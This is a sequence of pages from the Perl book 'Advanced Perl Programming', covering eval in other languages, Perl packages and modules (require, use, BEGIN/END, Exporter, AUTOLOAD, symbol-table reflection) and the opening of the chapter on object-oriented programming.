Previous: 5.5 Using Eval for Efficiency | Advanced Perl Programming | Next: 5.7 Eval in Other Languages
5.5 Using Eval for Efficiency | Book Index | 5.7 Eval in Other Languages


[Chapter 5] 5.7 Eval in Other Languages

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

5.7 Eval in Other Languages

Let's find out what other languages have by way of run-time evaluation and exception handling.

5.7.1 Tcl (Tool Command Language)

The Tcl interpreter follows the typical shell syntax: each statement is a command followed by a bunch of arguments. If the command is known at compile-time, it generates byte-codes and executes it subsequently, but if it is a variable, the interpreter waits until run-time to compile and execute that statement. (Earlier versions of Tcl always treated the program as strings and parsed a statement every time it was hit, even if it was within a loop. As this book goes to press, the Tcl interpreter has just recently taken some steps toward becoming a byte-code interpreter.) Tcl supports a user-level eval call, which recursively calls the parser and interprets the contents of the string as a command followed by a bunch of parameters.

For error handling, Tcl provides the error and catch statements, equivalent to die and eval in Perl.

5.7.2 Python

Python's eval function allows a string to be evaluated and executed, but the string cannot contain newlines. An exec statement allows newlines, but since Python relies on leading whitespace instead of an explicit block structure, it is important that you get the whitespace correct in a dynamically constructed string to be given to exec. This is quite a bit more painful than getting the block scoping right in Perl.

Python goes through a compilation and execution stage similar to Perl, and for every module called module.py, it stores the intermediate byte codes in a file called module.pyc. The next time the module is used, the intermediate byte code file is automatically picked up. Perl is likely to see this kind of facility in the near future, considering that Malcolm Beattie's Perl compiler is in the alpha stage as of this writing.

For exception handling, Python supports the notion of exception classes as part of the language, like Java and C++. You raise exceptions with raise and trap them with a try/except/finally syntax. (try and except are equivalent to the eval BLOCK form. The finally keyword indicates a default except block that is invoked if none of the other except statements is able to trap the exception.) I especially like how the interpreter and the Python library make consistent use of this facility.

5.7.3 C / C++

There is no run-time evaluation, but there are a number of public domain and commercial interpreters that can be linked in with your C application to support C or C++-like interpreted languages. Look for C-Interp or XCoral in the free compilers list available from http://www.idiom.com/free-compilers.

C has no keywords for exception handling. C++ has a try/catch/throw syntax identical to Java's. Exceptions can be user-defined objects and can have their own private data as well as behavior.

5.7.4 Java

Java goes through the same two phases as Perl: (1) compilation to an intermediate byte-code form, and (2) execution of this intermediate code. What it doesn't allow, however, is the production and evaluation of new code on the fly. There is really no reason why this isn't technically feasible, because the javac compiler itself is written in Java, and it should be possible to package it as a library instead of a standalone program without violating new security constraints.

For error handling, Java has a try/catch syntax that is equivalent to the eval BLOCK approach in Perl, in that all the code is known at compile-time. Exceptions are true first-class objects in Java, so you can discriminate between them much better than the string comparison required in Perl. Java has the throw keyword to raise a user-defined exception, similar to Perl's die.

Java does strict type-checking and requires that a function enumerate the exceptions it might throw (this is considered part of the signature of the function). So if you call a function that throws an exception, Java either requires your function to either not rethrow it or, if you want to pass it on, you have to include that exception as part of your function's signature. This way, when you see a function, you know the exact list of exceptions you have to deal with, which is very important for big applications written by a team of people. Depending on your viewpoint, Perl doesn't have any such feature or restriction.

Previous: 5.6 Using Eval for Time-Outs | Advanced Perl Programming | Next: 5.8 Resources
5.6 Using Eval for Time-Outs | Book Index | 5.8 Resources


[Chapter 5] 5.8 Resources

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

5.8 Resources

  1. More Programming Pearls. Jon Bentley. Addison-Wesley, 1990.

    Especially relevant to this chapter is Column 9, Little Languages.

  2. Run-time code generation. Collection of WWW links and papers by Don Pardo, at http://www.cs.washington.edu/homes/pardo/rtcg.d/index.html.

  3. perlsec. Perl documentation on security-related issues.

Previous: 5.7 Eval in Other Languages | Advanced Perl Programming | Next: 6. Modules
5.7 Eval in Other Languages | Book Index | 6. Modules


[Chapter 6] Modules

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book
Previous: 5.8 Resources Chapter 6 Next: 6.2 Packages and Files

6. Modules

Contents:
Basic Package
Packages and Files
Package Initialization and Destruction
Privacy
Importing Symbols
Nesting Packages
Autoloading
Accessing the Symbol Table
Language Comparisons

Life is a struggle with things to maintain itself among them. Concepts are the strategic plan we form in answer to the attack.

- Jose Ortega y Gasset, The Revolt of the Masses

One of the chief reasons why languages such as awk and the various Unix shells don't get used for building even moderately complex systems is their lack of support for modular programming. There are no bodies of code that you can just pick up and plug into your application; instead, you end up cutting and pasting from other standalone scripts. In contrast, languages such as Perl have been highly successful because of the wide availability of third-party modules (libraries). When comparing languages, I consider the availability of libraries to be more important than pure language features.

Perl allows you to partition your code into one or more reusable modules. In this chapter, we will study how to:

  • Define modules using the package keyword.

  • Load predefined modules with use and require; we have already seen a few examples of use in the earlier chapters.

  • Access package specific variables and subroutines using the "::" notation.

  • Load functions at run-time.

6.1 Basic Package

The package keyword signifies the beginning of a new namespace. All global identifiers (names of variables, subroutines, filehandles, formats, and directory handles) mentioned after this statement "belong" to that package. For example:

package BankAccount;
$total = 0;
sub deposit {
    my ($amount)= @_;
    $total += $amount;
    print "You now have $total dollars \n";
}
sub withdraw {
    my ($amount)= @_;
    $total -= $amount;
    $total = 0  if $total < 0;
    print "You now have $total dollars \n";
}

The user-defined global identifiers $total, deposit, and withdraw belong to the BankAccount package. The scope of a package lasts until the end of the innermost enclosing block (if it is declared inside that block) or until another package statement is encountered. In the absence of an explicit package declaration, Perl assumes a package name called main.

This is how you use the global symbols from another package:

package ATM;               # Start a different name-space now
BankAccount::deposit(10);  # Call a foreign subroutine
print $BankAccount::total; # Access a foreign variable

To access an identifier in a different namespace, you need to put the package name before the variable name; this is called fully qualifying the name. Note that you must say $BankAccount::total, not BankAccount::$total; the $ sign is followed by the fully qualified name. If an identifier is not fully qualified, Perl looks for it in the currently active package.

Since the package statement simply dictates the effective namespace, you can switch between different namespaces at will:

package A;
$a = 10;      # This $a is in package A
package B;
$a = 20;      # This $a is in package B, and is completely independent
              # of the other $a
package A;     # Make A the current package.
print $a;     # prints 10;

C++ programmers will recognize the resemblance to that language's namespace facility.

6.1.1 Packages and Variables

In Chapter 3, Typeglobs and Symbol Tables, I mentioned that all global names go into a symbol table. That was a bit of a white lie. Each package actually gets its own symbol table, distinct from all others. (We will have more to say on this subject in the section "Accessing the Symbol Table" later in this chapter). User-defined identifiers in package main are not treated specially in any way except that you can also refer to a variable, say $x, in that package as "$::x".

The built-in variables such as $|, $_, @ARGV, and %ENV always belong to package main, and Perl allows you to refer to these variables in any package without having to prefix them with main::. These are the only truly global variables in Perl.

You may also recall that lexical (my) variables are not associated with symbols and typeglobs and therefore have nothing to do with packages. It is a compile-time error to say something like

my $BankAccount::total; # Error

This also means that you can have two variables of the same type and the same name, if one is a package global and one is a lexical. The following piece of code is legal, but definitely not recommended:

$x = 10 ;   # global to package main
my $x = 20; # lexical at file scope
print $x;   # prints 20. Lexical variables are given priority.

6.1.2 Symbolic References

Symbolic references work as we have seen earlier, for variables as well as functions. Consider

package A;
$x = 10;

package B;
# Access $A::x symbolically
print ${"A::x"};

# or even more indirectly
$pkg      = "A";
$var_name = "x";
print ${"${pkg}::$var_name"};

# Call a subroutine indirectly
&{"A::foo"}(10, 20); # Identical to A::foo(10,20);

We will make extensive use of this facility in Chapter 8, Object Orientation: The Next Few Steps.

Previous: 5.8 Resources | Advanced Perl Programming | Next: 6.2 Packages and Files
5.8 Resources | Book Index | 6.2 Packages and Files


[Chapter 6] 6.2 Packages and Files

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

6.2 Packages and Files

The same package declaration can be present in multiple files. Or multiple packages can be declared in one file. By convention, a package is usually assigned its own file and named package.pm or package.pl. Files with the suffix .pm are called Perl modules, and packages inside files with the suffix .pl are usually referred to as libraries. The former naming convention is preferred now because the use statement requires it, as we will soon see.

The require keyword simply loads a file into your program (sources it, in shell parlance). This is identical in spirit to #include in C, except that Perl does not bother about a file that has already been loaded:[1]

require "test.pl"; # load test.pl if it hasn't already been loaded

[1] Another important distinction from C or C++ is that modules are not split up into separate declaration and implementation files (header files versus ".c" files) and it is not necessary to go through a linker to bring modules together.

If you omit the suffix and the quotes, a .pm suffix is assumed. The use statement is similar in that respect, but is more restrictive in that it accepts only module names, not filenames. So, while there is no necessary relation between module names and filenames in general, use does force you to adopt a standard naming convention, which is a very good thing indeed, in my opinion. But there is more to use than just syntactic sugar.

The big difference between use and require is that the use statement is executed as soon as it is parsed. For this reason, the following attempt to load a module dynamically won't work, because the assignment statement is executed only after everything has been parsed and compiled:

$pkg_name = "Account";  # executes at run-time
use $pkg_name;          # executes at compile-time

It is, in fact, a syntax error; you have to use require in this case. The advantage of use is that when a program starts executing, there's a guarantee that all required modules have been successfully loaded, and there won't be any surprises at run-time.

Another important difference between use and require is described later, in the section "Importing Symbols."

When a file is require'd or use'd, it is expected to return a Boolean success value (zero for failure, nonzero for success). That is, the last executing statement at global scope must be a statement such as "return 1;" or just "1;". Note that this is not necessarily the last statement in the file; it is just the last executing statement.

6.2.1 Load Path

Perl first looks for the file given to use or require in the current directory and then looks up the @INC built-in array to search the include paths. By default, @INC contains a few standard directory names specified when the interpreter was installed and built. On my machine, @INC looks like this:

% perl -e 'print "@INC \n";'
/opt/lib/perl5/sun4-solaris/5.004 /opt/lib/perl5 /opt/lib/perl5/site_perl/sun4-solaris /opt/lib/perl5/site_perl .

You can also use perl -V to get this and other configuration information.

If you want to specify additional directories of your own, you have these choices:

  1. Use the -I command-line option as you would with the C preprocessor:

       % perl -I/home/sriram/perl -I/local/mylib script.pl

    I sometimes have instrumented or development versions of my modules in a separate directory. This option makes it easy to use these modules without having to change any of the code that uses them.

  2. Set the PERL5LIB environment variable as a set of paths, separated by colons.

  3. Modify @INC before calling require:

       unshift (@INC, "/usr/perl/include"); # Prepend a directory name
   require 'foo.pl';

Previous: 6.1 Basic Package | Advanced Perl Programming | Next: 6.3 Package Initialization and Destruction
6.1 Basic Package | Book Index | 6.3 Package Initialization and Destruction


[Chapter 6] 6.3 Package Initialization and Destruction

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

6.3 Package Initialization and Destruction

There are times when you want to do some initialization before any other code is executed. Perl goes further: it gives you a chance to execute code while it is still in the compilation stage.

Normally, while parsing a file, Perl compiles the entire code, and when this process is successfully completed, it starts executing from the first global statement onward. However, if it encounters a subroutine or a block called BEGIN while parsing, it not only compiles it, but also executes it right away, before resuming the compilation of the rest of the file. A small experiment underscores this point:

sub BEGIN {   # can also just say BEGIN { }; the word "sub" is optional
    print "Washington was here \n";
}
foo***  ;     # Intentional error

This prints the following:

Washington was here
syntax error at x.pl line 4, near "**  ;"
Execution of x.pl aborted due to compilation errors.

Whereas a program with a syntax error normally does not get executed at all, a BEGIN subroutine occurring before the error will be executed.

Because a BEGIN block gets executed even before the compilation phase is over, it can influence the rest of the compilation. If you want to hardcode an include path in your program, here is how to do it:

BEGIN {
    unshift (@INC, "../include");
}
use Foo;  # Looks for Foo.pm in "../include" first

An easier approach is to use the lib module that is packaged with the Perl distribution:

use lib qw(../include); # prepends the directory to @INC

Just as you want to do initialization before any other code executes, there are times when you want to do some clean-up after all the code has executed. The END block is called just before the program is due to exit, independent of whether it was a successful exit or not. That is, even if the program dies because of, say, an arithmetic exception, the END block is called anyway. The block is not invoked if the program dies because of an uncaught signal.

BEGIN and END are borrowed from awk. And as in awk, Perl supports multiple BEGIN and END statements. BEGIN statements are executed in the order in which they are seen, while END statements are executed in reverse order of appearance (last in, first out). If there are multiple packages with many BEGIN or END blocks, the order in which the packages were loaded is taken into account.

Previous: 6.2 Packages and Files | Advanced Perl Programming | Next: 6.4 Privacy
6.2 Packages and Files | Book Index | 6.4 Privacy


[Chapter 6] 6.4 Privacy

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

6.4 Privacy

Symbols in Perl are freely accessible; privacy is not enforced. The online documentation says, rather colorfully, "Perl does not enforce private and public parts of its modules as you may have been used to in other languages like C++, Ada, or Modula-17. Perl doesn't have an infatuation with enforced privacy. It would prefer that you stayed out of its living room because you weren't invited, not because it has a shotgun."[2]

[2] I once saw this gem in a piece of C++ code: "#define private public", just before including a header file. Someone who wants data that badly will find a means to get at it!

In addition to accessing a foreign package's existing variables or subroutines, a package can easily create new names in another package's namespace, as we saw earlier. Consider

package Test;
# Create a variable subroutine and subroutine in another package
$main::foo = 10;
sub main::myFunc {
    print "Hello \n";
}

package main;
myFunc();   #  prints "Hello"

Although this is not a very kosher thing to do in a normal application, this facility can be put to good use if applied in a controlled manner. You can use it to import foreign package symbol names into your own namespace; we will study this in the next section.

6.4.1 Enforcing Privacy

You can use the my operator at file scope to get unassailably private variables. Because they are not associated in any way with a package, they cannot be accessed from a different scope (in this case, file scope). But because they don't have anything to do with packages, they are restricted at most to file boundaries. Consider

package A;
my $a = 10;   # A lexical variable

package B;
print $A::a;  # No such variable in package A
print $a;     # prints 10, because it can see the lexical variable
              # (even though package B is in effect)

What if you want to make a subroutine name private? You cannot use my to declare a private subroutine, but you can use anonymous subroutines and hold references to them in lexical variables:

my $rs_func = sub {
                    ....
              };

Now, $rs_func can be dereferenced from within that scope (if it is a global variable anywhere within that file), but it cannot be accessed in another file. Whenever you want to call this function, you can either say &$rs_func or, if you intend to call it a number of times, use typeglob aliasing for convenience and efficiency:

{
    local (*func) = $rs_func;
    for (1..100) {func()};
}

While you can hide your own global identifiers, there's nothing you can do to prevent another module from installing new names into your namespace. In fact, older Perl libraries took this liberty a lot more. (Look at the bigint.pl package in the standard Perl library, for example.)

Previous: 6.3 Package Initialization and Destruction | Advanced Perl Programming | Next: 6.5 Importing Symbols
6.3 Package Initialization and Destruction | Book Index | 6.5 Importing Symbols


[Chapter 6] 6.5 Importing Symbols

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

6.5 Importing Symbols

Sometimes, you may want to selectively import symbols into your namespace, just for typing efficiency. For example, you might want to say sqrt instead of math::sqrt or deposit instead of BankAccount::deposit. The use statement allows you to specify an optional list of function names to be imported:

use BankAccount ('withdraw', 'deposit');
withdraw();  # Can now call function without fully qualifying it.

For its part, the module has to be ready to export these names (and only them) to whoever uses it. It should also have a policy for what it should do if the user does not specify a list at all. Both these tasks are handled for you by a standard module called Exporter. The BankAccount class can be implemented as shown next:

package BankAccount;
use Exporter;
@ISA = ('Exporter');     # Inherit from Exporter
@EXPORT_OK = ('withdraw', 'deposit');

sub deposit  { .... }
sub withdraw { .... }

This code loads the Exporter module and arranges to inherit from that module, using the @ISA array. For now, take it on faith that this works; we will study inheritance shortly. The @EXPORT_OK array states which symbols are fine to export. The user of this module can in turn specify a list of one or more symbols specified in @EXPORT_OK to the use statement. If the user says,

use BankAccount ('deposit');

the deposit function can be called without fully qualifying the name, in contrast to withdraw(). To tell the Exporter module not to export any symbols into your namespace, leave the list blank.

If the module uses @EXPORT instead of @EXPORT_OK, the user gets all the exported symbols, regardless of whether they were mentioned in the import list or not. I recommend that as a module writer, you use the more polite @EXPORT_OK .

Please see the Exporter documentation for numerous other features, which, among other things, allow the user of the module to import groups of functions using tag names, or to specify the group using one or more regular expressions.

6.5.1 How Do use and Exporter Work?

If you are not interested in the details of how use and Exporter work, you can easily skip this section without loss of continuity. This is one of those "knowledge for knowledge's sake" kind of sections.

The statement

use BankAccount ('withdraw', 'deposit');

behaves exactly as if you had said

BEGIN { require BankAccount;
        BankAccount::import('withdraw', 'deposit');}

BEGIN ensures that this statement is parsed and executed as soon as it is seen. require loads the file BankAccount.pm if it has not been loaded already. Finally, the import subroutine is called on that module.[3]

[3] A bit of a white lie here. It actually does BankAccount->import (uses an arrow instead of the ::), a slightly different way of calling a subroutine. We'll study this notation in detail in Chapter 7, Object-Oriented Programming. For now, this explanation is adequate.

import is not a Perl keyword. It is simply a call to a user-defined subroutine known as import, and the module can define it any way it wishes and do what it wants with its argument list. If BankAccount does not define import and doesn't inherit it, there is no difference between use BankAccount and require BankAccount. By using Exporter, a module can simply inherit an import method without having to implement it.

To understand how Exporter works, let us build an import subroutine ourselves. We develop a simple module called Environment that lets us quickly access environment variables. This is how we want to use it:

use Environment;
print $USER, $PATH;

Instead of saying $ENV{'USER'}, we can now simply say $USER. In other words, the Environment module (and specifically a function called import in that module) installs variables like $USER and $PATH in its caller's namespace.

Example 6.1 shows one way to do write this subroutine.

Example 6.1: Environment.pm: Create Variables Corresponding to Environment Variables

package Environment;
sub import {
    # Get some caller details; its package name, and the current file name
    # and line number
    my ($caller_package) = caller;
    foreach $envt_var_name (keys %ENV) {
         *{"${caller_package}::${envt_var_name}"} = \$ENV{$envt_var_name};
    }
}
1;  # To signify successful initialization

To keep the example small, import ignores its parameter list. It uses the caller built-in function to find out the calling package's name and creates aliases in that package. For an environment variable USER, the statement inside the foreach line is translated to this:

*{"main::USER"} = \$ENV{USER};

assuming that main is the calling package.

This small nugget encapsulates most of the knowledge of Chapter 3. The right-hand side returns a reference to the scalar containing the value of the environment variable, which is assigned to a typeglob. (Remember our discussion of selective aliasing?) The typeglob expression on the left creates a symbol table entry in main's symbol table, whose scalar component is made to point to the value from the right-hand side. Exporter works exactly the same way, except that it aliases only function names.

Incidentally, the standard Perl distribution contains a module called Env that looks quite similar to our Environment package. The only distinction is that instead of creating an alias of the environment variables, Env uses the tie mechanism,[4] a much more inefficient way of doing things than the approach just shown.

[4] We'll discuss the tie approach in Chapter 9, Tie.

Previous: 6.4 Privacy | Advanced Perl Programming | Next: 6.6 Nesting Packages
6.4 Privacy | Book Index | 6.6 Nesting Packages


[Chapter 6] 6.6 Nesting Packages

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

6.6 Nesting Packages

Since all packages are global in scope, nesting of packages is not supported. However, you can have two packages, one called A and another called A::B, to give an illusion of nesting. This is a naming convention only and implies no necessary relation between the two packages; however, this convention is typically applied to groups of related packages, and the term "nested packages" does not seem wrong in such cases. For example, you could have a module called Math::Matrix for matrix manipulation and another called Math::Poisson that supports an infrastructure for simulating queuing models. The only relation between the two modules is that they both are mathematical in nature; they don't share any implementation characteristics.

The :: notation is used as before to access variables and subroutines of nested packages:

$p = Math::Poisson::calculate_probability($lambda, $t);
print $Math::Constants::PI;

When you say use File, recall that Perl looks for a file called File.pm. If you say, use Math::Poisson, Perl looks for a file called Math/Poisson.pm (directory Math, file Poisson.pm). The double colon gets translated to a filename separator, because the colon has a special significance for DOS filenames. Perl imposes no limits on the level of nesting.

Previous: 6.5 Importing Symbols | Advanced Perl Programming | Next: 6.7 Autoloading
6.5 Importing Symbols | Book Index | 6.7 Autoloading


[Chapter 6] 6.7 Autoloading

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

6.7 Autoloading

If you invoke a function called Test::func(), for example, and if func() has not been defined in module Test, Perl automatically looks for a subroutine called Test::AUTOLOAD(). If such a subroutine exists, Perl calls it with the arguments that were passed to func(). In addition, a variable called $AUTOLOAD is set to the full name of the function that was called ("Test::func"). Objective-C programmers will recognize this as being similar to the ":forward" declaration, in which an object uses this statement to trap all procedure calls it doesn't handle, in order to forward it to a "delegate."

The AUTOLOAD subroutine can do just about anything it wants. For example, it can do one of the following:

  • Handle the call itself. The caller of Test::func does not know that AUTOLOAD really handled the call.

  • Automatically create a subroutine on the fly (using eval) to do the right thing, and then call that new subroutine. In fact, instead of calling that subroutine, you can simply go to it, like this:

        sub AUTOLOAD {
        ... create subroutine ...
        goto &$AUTOLOAD;  # jump to it
    }

    This is a special form of goto that erases the stack-frame of the AUTOLOAD routine so that Test::func will not know it has been being called from AUTOLOAD.

  • Dynamically load an object file (or a DLL in Microsoft Windows), using the standard Dynaloader module, and then execute the appropriate call. This is one of the more popular uses of AUTOLOAD.

  • Use the system function to launch another program by the same name. Shell.pm in your Perl library is the really fancy version of this facility. Here is a simplified version:

    #------------------------------------------------------------------
package Shell;
#------------------------------------------------------------------
sub AUTOLOAD {
    my($program) = $AUTOLOAD;
    # We are just interested in the command name, not in
    # the package name
    $program =~ s/^.*:://;
    system ("$program @_");
}
#------------------------------------------------------------------
use Shell;
ls ('-lR'); # Triggers a call to AUTOLOAD since sub ls() doesn't exist
mail ('-s "This is a test" joe@foo.com < letter.txt');

Autoloading can also be used to delay the loading of subroutines until they are absolutely necessary. A module called Autosplit (in the standard distribution) is used to split a module into multiple modules, each with one subroutine from the original, and the Autoloader module can subsequently be used to subsequently load only the file corresponding to the called subroutine.

Previous: 6.6 Nesting Packages | Advanced Perl Programming | Next: 6.8 Accessing the Symbol Table
6.6 Nesting Packages | Book Index | 6.8 Accessing the Symbol Table


[Chapter 6] 6.8 Accessing the Symbol Table

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

6.8 Accessing the Symbol Table

Perl has a number of features that permit introspection, chief among them the ability to get information about the contents of the symbol table. This property is sometimes called reflection or introspection.

Reflection makes it easy to write system-level tools such as debuggers and profilers. We will also use this property in Chapter 11, Implementing Object Persistence, to develop a module that can transparently dump an object's data to a file or a database (and subsequently restore it) without having to write any application-specific code.

We saw earlier in this chapter that each package gets its own symbol table (also called stash, short for "symbol table hash"). Perl makes these stashes available as regular associative arrays. The stash for a package named Foo can be accessed by using the hash called %Foo::. The main package is available as %main::, or simply as %::. In fact, all other packages' hash tables are available from the main stash (%main:: hence points to itself), as illustrated in Figure 6.1.

Figure 6.1: Packages' stashes are available in main's namespace

Iterating through the all the symbolic names inside a package is simple:

foreach $name (keys %main::) {
    print "$name, \n";
}

As we saw earlier, each of these symbolic names maps to a typeglob, which itself points to one or more values (one or more of each type: scalar, array, hash, subroutine, filehandle, format name, or directory handle). Unfortunately, there's no direct way to find out which values actually exist. Example 6.2 shows a way to dump all the variables in a given package and also demonstrates a way to find out which values exist for a given typeglob.

Example 6.2: Dumping All Symbols in a Package

package DUMPVAR;
sub dumpvar {
    my ($packageName) = @_;
    local (*alias);             # a local typeglob
    # We want to get access to the stash corresponding to the package
    # name
    *stash = *{"${packageName}::"};  # Now %stash is the symbol table
    $, = " ";                        # Output separator for print
    # Iterate through the symbol table, which contains glob values
    # indexed by symbol names.
    while (($varName, $globValue) = each %stash) {
        print "$varName ============================= \n";
        *alias = $globValue;
        if (defined ($alias)) {
            print "\t \$$varName $alias \n";
        }
        if (defined (@alias)) {
            print "\t \@$varName @alias \n";
        }
        if (defined (%alias)) {
            print "\t \%$varName ",%alias," \n";
        }
     }
}

This snippet of a code illustrates how to use DUMPVAR:

package XX;
$x = 10;
@y = (1,3,4);
%z = (1,2,3,4, 5, 6);
$z = 300;
DUMPVAR::dumpvar("XX");

This prints:

x =============================
         $x 10
y =============================
         @y 1 3 4
z =============================
         $z 300
         %z  1 2 3 4 5 6

dumpvar() works by creating an alias to each typeglob successively and then enumerating each type to see whether that value is defined. It is important to realize that it merely dumps the global data at the topmost level, because anonymous data structures hanging off various references are not dumped at all.

Previous: 6.7 Autoloading | Advanced Perl Programming | Next: 6.9 Language Comparisons
6.7 Autoloading | Book Index | 6.9 Language Comparisons


[Chapter 6] 6.9 Language Comparisons

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

6.9 Language Comparisons

In this chapter, we have seen that Perl offers namespace partitioning, limited access protection, reflection, run-time subroutine loading (autoloading), package initialization and destruction constructs, and exportation of names to different namespaces. Let's look at some other languages with these features in mind.

6.9.1 Tcl

Tcl's "package" feature basically provides a way to annotate a set of code with a version number and for the user of that code to explicitly state the version it requires. Tcl flags an error if there's a mismatch. Perl supports version numbers also (more on this in the next chapter).

Packages don't act like global namespaces as they do in Perl. Instead, Tcl supports the concept of multiple interpreters coexisting in the same program to provide completely distinct namespaces. This facility is used to create SafeTcl, which offers secure and insecure compartments in which to evaluate code. Perl's Safe package uses a completely different mechanism internally (neither packages nor multiple interpreters), as we shall see in Chapter 20, Perl Internals.

For reflection, Tcl has an "info" command for finding out about global symbols. It has no inheritance feature, but several free extensions such as [incr Tcl ] and stoop attempt to fill the gap by providing an object orientation layer over the basic language.

Dynamic function calls are common and trivial to implement; just specify the name of a command as a variable, and it will get interpolated and executed at run time.

6.9.2 Python

Python offers packaging facilities very similar to Perl's. Each Python module is a namespace (a dictionary or hash table keyed by name), and Python allows you to traverse and query this dictionary. Like Perl, it does not enforce privacy of namespaces and leaves it to the programmer's judgment to respect module boundaries. As a module's user, you can import specific symbols into your namespace. (There is no mechanism equivalent to @EXPORT, which I think is a good thing.) Python does not provide anything like Perl's file-scope lexicals, which means that, unlike Perl, Python cannot give you true privacy if you need it.

6.9.3 C/C++

Of all the languages mentioned here, C and C++ are the least dynamic; their focus is on getting everything nailed down at compile-time so at run-time the code can just whistle along.

Virtual functions in C++ provide run-time binding of functions. While compile-time type checking ensures that this is a safe binding, it also tends to make the code verbose in comparison to more dynamic languages such as Objective C or even Java.

C++ supports RTTI (Run Time Type Identification), but this feature is limited to finding the actual type of a pointer and to dynamically cast it. (The run-time environment throws an exception if a pointer is wrongly cast.) The facility does not tell you what a variable is really pointing to.

6.9.4 Java

Java offers two levels of modularity: packages and classes, where a package is a collection of classes. (We'll learn about the notion of classes in the next chapter.) Perl's package is equivalent to both. Java does not allow one package to mess around with another package's namespace (no export) but allows a package to selectively import the classes it requires. It focuses a considerable amount of attention on security, which hasn't really stopped determined crackers. The Perl world has third-party packages called Safe and Penguin (which depends on Safe) that attempt to provide similar isolation characteristics (and don't offer any security guarantees either).

Since the arrival of the Java Beans and the 1.1 version of the Java Development Kit (JDK), Java has gained significant reflection capabilities, though nowhere near the amount of publicly available information Perl gives you. There are reasonably good arguments to be made both for providing this information and for not providing it; everything comes down to different models of programming. Men were sent to the moon while FORTRAN and COBOL ruled the roost, which proves that you can get a whole lot done if you don't indulge in language wars.

Java allows you to dynamically "dispatch" a function call, by giving the function's name as a string, and to trap an exception if the function doesn't exist; this is like using Perl's symbolic references.

Previous: 6.8 Accessing the Symbol Table | Advanced Perl Programming | Next: 7. Object-Oriented Programming
6.8 Accessing the Symbol Table | Book Index | 7. Object-Oriented Programming


[Chapter 7] Object-Oriented Programming

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book
Previous: 6.9 Language Comparisons Chapter 7 Next: 7.2 Objects in Perl

7. Object-Oriented Programming

Contents:
OO: An Introduction
Objects in Perl
UNIVERSAL
Recap of Conventions
Comparison with Other OO Languages
Resources

There was a child went forth every day,
And the first object he look'd upon, that object he became.

- Walt Whitman, There Was a Child Went Forth

Object orientation (OO) is the latest software methodology to occupy the airwaves, hyped to a point where the term "object-oriented design" seems to automatically imply a good design. In this chapter, we will study what the noise is all about and build objects using Perl. I will leave it to the plethora of OO literature to convince you that there is a respectable middle-ground and that the object revolution is indeed a good thing.

If you are already conversant with OO, you could simply read the "Objects" section in Appendix B, Syntax Summary. Among other things, it supplies a C++ example and translates it to equivalent Perl code.

7.1 OO: An Introduction

Fred Brooks, in his classic The Mythical Man-Month [18], says:

The programmer at wit's end for lack of space can often do best by disentangling himself from his code, rearing back, and contemplating his data. Representation is the essence of programming.

He was talking about space reduction, but it is nevertheless sage advice.

Complex systems are inherently hierarchical, and many abstractions and methodologies have been invented to take advantage of this aspect. Until the late seventies, functional decomposition (top-down design) held sway as the definitive method to understand and implement complex systems. A developer would begin by writing high-level pseudo-code and continue refining each part of it until it was detailed enough to be translated into an implementation language. Nicklaus Wirth called this approach stepwise refinement. Then came structured methodologies, SA/SD (structured analysis/structured design) chief among them, which employed many tools and notations such as data-flow diagrams, process specifications, data dictionaries, state transition diagrams, and entity-relationship diagrams to design, document, and develop a system. The accent continued to be on the procedural side of systems development rather than on the dynamic (state transitions) or structural (data) facets.

The key realization in the last 15 years or so has been that a system's functionality tends to change a lot more than the data on which it acts. A personnel information system keeping track of employee details soon knows as much about an employee as it ever will. On the other hand, its functionality tends to track management reshuffles, tax laws, medical insurance changes, and the noisy arrivals and silent departures of Directors of Human Resources.

This realization has completely inverted the way a problem is tackled now. Data and ways of structuring it are now given primary importance, and code is organized in modules around important pieces of data. The benefits are immense and immediate.

First, the database and the code are in sync, since the code is organized along lines of data. There are those who cry about the "impedance mismatch" between object-oriented programs and relational databases (RDBMSs), but that is because RDBMSs have been limited to simple data types; there is no fundamental mismatch between the relational and object models. Vendors such as Informix/Illustra and Oracle have recently begun to offer abstract data types also in their RDBMS offerings.

Focusing on data has another important advantage: Data structures tend to be something you can identify with. For example, an airline company has airplanes, routes, and flight legs as prominent entities. In designing a flight-planning system, these entities provide a good focus on which to center your discussions, analysis, and design. Anybody who has had writer's block when starting a brand-new design document would surely appreciate this approach! The final design and implementation are also more comprehensible (and hence maintainable) because it is easier to explain. Fred Brooks remarks in The Mythical Man-Month, "Show me your flowcharts and conceal your tables, and I'll continue to be mystified. Show me your tables, and I won't usually need your flowcharts; they'll be obvious."

Finally, a system divided into data-centric modules can be easily apportioned among a team of programmers. All changes to a given piece of data or a set of related data are done only by its "owner"; that developer becomes a component supplier for other people in the project.

Object orientation is the latest step along this course. Not only is the code data-centric, it also strives to encapsulate (hide) the actual data structures, preferring instead to expose a limited, well-documented interface: a set of functions that know how to manipulate these data structures. These data structures are called objects. VCRs, watches, cars, and other real-world objects are excellent examples of the kind of objects we wish to emulate, because they successfully hide all the myriad complexities behind really simple interfaces. (Of course, the fact that most VCRs show a blinking "12:00" indicates that there is still a considerable amount of interface simplification to be done.) While you can surely implement well-encapsulated data-centric designs using conventional languages such as C or COBOL or even assembler, object-oriented languages provide two features that are more than just syntactic conveniences: polymorphism and inheritance. We will see how these features facilitate the construction of reusable modules.

It must be stressed that OO methodologies are similar to SA/SD in that both account for the functional, dynamic, and structural aspects of a system. But they differ significantly in style and emphasis; OO design methodologies pay attention to data abstractions first and procedural abstractions last.

Previous: 6.9 Language Comparisons | Advanced Perl Programming | Next: 7.2 Objects in Perl
6.9 Language Comparisons | Book Index | 7.2 Objects in Perl


[Chapter 7] 7.2 Objects in Perl

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

7.2 Objects in Perl

Let us define a few preliminary terms before we start implementing objects in Perl.

An object (also called an instance), like a given car, has the following:

  • Attributes or properties (color: red; seating capacity: 4; power: 180 HP)

  • Identity (my car is different from your car)

